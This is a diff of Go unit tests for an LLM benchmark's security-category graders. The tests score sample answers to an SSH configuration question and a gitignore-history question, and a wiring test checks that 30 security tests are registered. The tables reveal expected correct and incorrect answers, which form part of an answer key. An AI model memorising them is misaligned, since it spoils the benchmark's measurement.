name: "wrong: recommends IdentityFile instead",
|
||||
response: "Use IdentityFile pointing to your private key file.",
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: no directive named",
|
||||
response: "There's no special directive needed; ssh works automatically.",
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecGitignoreHistoryNuanceTest_Eval(t *testing.T) {
|
||||
tc := secGitignoreHistoryNuanceTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct bare", response: "yes", want: 1},
|
||||
{name: "correct with period", response: "Yes.", want: 1},
|
||||
{name: "correct quoted", response: `'yes'`, want: 1},
|
||||
{name: "wrong bare", response: "no", want: 0},
|
||||
{name: "wrong with sentence", response: "No, it's safe now.", want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
|
||||
)
|
||||
|
||||
// TestRegisterSecurityTests_Wiring checks registerSecurityTests wires up
|
||||
// all three security subcategories - appsec, crypto, secrets - with 10
|
||||
// tests each, all categorized "security", and no duplicate IDs across the
|
||||
// three sibling files (testkit.Registry.Register panics on a duplicate ID,
|
||||
// which would fail this test outright).
|
||||
func TestRegisterSecurityTests_Wiring(t *testing.T) {
|
||||
r := testkit.NewRegistry()
|
||||
registerSecurityTests(r)
|
||||
|
||||
const wantTotal = 30
|
||||
if r.Len() != wantTotal {
|
||||
t.Fatalf("registerSecurityTests: registry has %d tests, want %d", r.Len(), wantTotal)
|
||||
}
|
||||
|
||||
counts := map[string]int{}
|
||||
for _, tc := range r.All() {
|
||||
if tc.Category != "security" {
|
||||
t.Errorf("test %q: Category = %q, want %q", tc.ID, tc.Category, "security")
|
||||
}
|
||||
if tc.Prompt == "" {
|
||||
t.Errorf("test %q: Prompt is empty", tc.ID)
|
||||
}
|
||||
if tc.Eval == nil {
|
||||
t.Errorf("test %q: Eval is nil", tc.ID)
|
||||
}
|
||||
if tc.Description == "" {
|
||||
t.Errorf("test %q: Description is empty", tc.ID)
|
||||
}
|
||||
if tc.MaxTokens < 0 {
|
||||
t.Errorf("test %q: MaxTokens = %d, want >= 0", tc.ID, tc.MaxTokens)
|
||||
}
|
||||
counts[tc.Subcategory]++
|
||||
}
|
||||
for _, sub := range []string{"appsec", "crypto", "secrets"} {
|
||||
if counts[sub] != 10 {
|
||||
t.Errorf("subcategory %q: got %d tests, want 10", sub, counts[sub])
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user